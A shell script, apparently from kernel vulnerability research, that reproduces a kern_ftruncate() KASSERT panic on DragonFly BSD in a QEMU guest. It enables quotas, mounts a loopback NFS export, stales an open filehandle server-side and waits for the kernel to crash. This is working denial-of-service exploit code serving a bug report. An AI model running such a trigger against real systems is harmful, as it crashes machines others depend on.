#!/bin/sh
# DF-0001 — reproduce the kern_ftruncate() KASSERT panic.
#
# This is a multi-step choreography (not a single binary) because the bug
# requires three runtime preconditions the stock clean-install guest lacks:
#   (1) vfs.quota_enabled=1  (sysctl is CTLFLAG_RD -> loader tunable -> reboot)
#   (2) a filesystem whose VOP_GETATTR can return a nonzero error. Local
#       hammer2/UFS GETATTR is effectively infallible, so we mount a loopback
#       NFS export and stale the client's open-fd filehandle server-side.
#   (3) the kernel must be built with options INVARIANTS (X86_64_GENERIC IS,
#       verified: the panic strings are in /boot/kernel/kernel). On a non-
#       INVARIANTS kernel the KASSERT compiles to a no-op and nothing happens.
#
# Run from the host. Uses dfbsd-qemu/vm.sh. The guest is single-tenant; this
# script will REBOOT the guest once (to enable quota) and will PANIC it at the
# end (that is the demonstration). Back out with: dfbsd-qemu/vm.sh reset
set -eu
cd "$(dirname "$0")"
HERE="$(pwd)"
ROOT="$(cd "$HERE/../../.." && pwd)"        # repo root
VM="$ROOT/dfbsd-qemu/vm.sh"
CFG="$ROOT/dfbsd-qemu/config"

echo "==> [0/6] precondition: guest up + INVARIANTS kernel"
$VM status
$VM run_root 'strings /boot/kernel/kernel | grep -q "VOP_GETATTR did.n.t return 0" \
    && echo "INVARIANTS: KASSERT live in kernel" \
    || { echo "INVARIANTS OFF on this kernel — KASSERT is a no-op, panic NOT reachable"; exit 3; }'

echo "==> [1/6] enable vfs.quota_enabled (loader tunable) + reboot (non-reverting)"
$VM run_root 'grep -q quota_enabled /boot/loader.conf || echo "vfs.quota_enabled=\"1\"" >> /boot/loader.conf; sync'
# non-reverting reboot (down/up, NOT reset which would revert the snapshot)
( $VM down >/dev/null 2>&1 ) || { P=$(cat "$ROOT/dfbsd-qemu/vm.pid"); kill -9 "$P" 2>/dev/null; }
sleep 3
$VM up 90
$VM run_root 'test "$(sysctl -n vfs.quota_enabled)" = "1" || { echo "quota not enabled"; exit 4; }'

echo "==> [2/6] build trigger + stand up loopback NFS server + soft mount"
$VM run_user 'mkdir -p poc/DF-0001'
scp -F "$CFG" -q "$HERE/estale_trig.c" dfbsd-maxx:poc/DF-0001/
$VM run_user 'cd poc/DF-0001 && cc -O0 -g -o estale_trig estale_trig.c'
$VM run_root '
    mkdir -p /export; chmod 777 /export
    printf "/export -maproot=root -network 127.0.0.0 -mask 255.0.0.0\n" > /etc/exports
    rpcbind 2>/dev/null; sleep 1
    mountd 2>/dev/null; sleep 1
    nfsd -t -u -n 4 2>/dev/null; sleep 2
    umount -f /mnt 2>/dev/null; mkdir -p /mnt
    mount_nfs -U -s -x 1 -t 1 \
        -o acregmin=0,acregmax=0,acdirmin=0,acdirmax=0 127.0.0.1:/export /mnt
    dd if=/dev/zero of=/export/estale_target bs=4096 count=1 2>/dev/null
    chown maxx:maxx /export/estale_target; chmod 644 /export/estale_target
    ls -l /mnt/estale_target
'

echo "==> [3/6] launch estale_trig as maxx (opens fd, holds fixed filehandle)"
$VM run_user 'cd poc/DF-0001 && nohup ./estale_trig /mnt/estale_target > /tmp/df0001.out 2>&1 & echo "pid $!"'
sleep 3
$VM run_user 'cat /tmp/df0001.out'

echo "==> [4/6] invalidate the fd filehandle SERVER-SIDE (delete + recreate -> stale FH)"
$VM run_root 'rm -f /export/estale_target; sync; touch /export/estale_target; chown maxx:maxx /export/estale_target; chmod 644 /export/estale_target; echo handle_invalidated'

echo "==> [5/6] wait for the panic (ftruncate -> GETATTR on stale FH -> KASSERT)"
panic=0
for i in $(seq 1 12); do
    sleep 4
    st=$($VM status 2>/dev/null || echo down)
    echo "    [t+$((12+i*4))s] status=$st"
    [ "$st" = "down" ] && { panic=1; break; }
done

echo "==> [6/6] result"
if [ "$panic" = "1" ]; then
    echo "PANIC reproduced. Signature from $ROOT/dfbsd-qemu/boot.log:"
    awk '/panic: kern_(f)?truncate/{p=1} p{print} /^db> /{p=0}' "$ROOT/dfbsd-qemu/boot.log" | tail -14
    echo
    echo ">>> REPRODUCED: kern_ftruncate KASSERT panic (CWE-617). <<<"
    echo ">>> Guest is now in DDB. Recover with: $VM reset"
    exit 0
else
    echo "No panic observed within the window."
    exit 1
fi
